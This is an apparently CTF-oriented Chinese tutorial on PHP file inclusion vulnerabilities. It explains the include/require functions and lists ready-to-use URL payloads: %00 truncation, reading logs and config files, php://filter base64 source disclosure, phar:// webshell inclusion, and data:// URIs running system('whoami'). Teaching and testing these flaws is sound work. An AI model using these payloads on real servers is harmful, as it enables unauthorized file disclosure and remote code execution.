web php 文件包含漏洞是“代碼注入“的一種。代碼注入的原理就是注入一段用戶能控制的腳本或代碼,並讓服務端執行
常見的導致文件包含的函數如下:
PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….
JSP/Servlet: ava.io.File(),java.io.FileReader() …
ASP:include file, include virtual…
PHP文件包含主要由這四個函數完成:
include()
require()
include_once()
require_once()
當使用這4個函數包含一個新的文件時,該文件將作爲PHP代碼執行,PHP內核並不會在意該被包含文件是什麼類型。所以如果被包含的是txt文件、圖片文件、遠程URL,也都將作爲PHP代碼執行。
本地文件包含
在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別,即下面兩個url是完全等效的。
A http://ip/a.php?page=…\php.ini
B http://ip/a.php?page=…\php.ini%00xx.php
使用%00截斷可以繞過某些過濾規則,例如要求page參數的後綴必須爲php,這時鏈接A會讀取失敗,而鏈接B可以繞過規則成功讀取
常用語法:
http://xx/ 讀取session文件
http://xx/xx.file 包含上傳的附件
http://xx/error.log 包含錯誤日誌
http://xx/ httpd.conf 獲取web目錄或者其他配置文件
http://xx/?page=file.txt%00xx.php %00截斷
http://xx/page=file:///c:/flagvalue.txt 使用file:///path 查看文件
phpinfo() 查看臨時文件存放目錄,包含臨時文件
phar://壓縮文件名/webshell.php 壓縮webshell.php
http://?page=php://filter/read=convert.base64-encode/resource=xx.file
hints about php://filter
php://filter/source=<filename> 讀取文件內容
php://filter/read=string.toupper/source=<fileanme>`
將文件內容轉換大寫輸出
php://filter/read=string.tolower/source=<filename>`
將文件內容轉換小寫輸出
php://filter/read=string.strip_tags/source=<filename>
去除文件內容中html標籤輸出
php://filter/read=convert.base64-decode/resource=<filename>
將文件內容base64解密後輸出
php://filter/read=convert.base64-encode/resource=<filename>
將文件內容base64加密後輸出
遠程文件包含
選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會允許包含遠程服務器上的文件
http://xx/?page=data://text/plain,<?php system("whoami")?>
執行php 代碼 system函數
http://xx/?page=data://text/plain;base64,base64Code
利用data URIs
data://image/jpeg;base64,...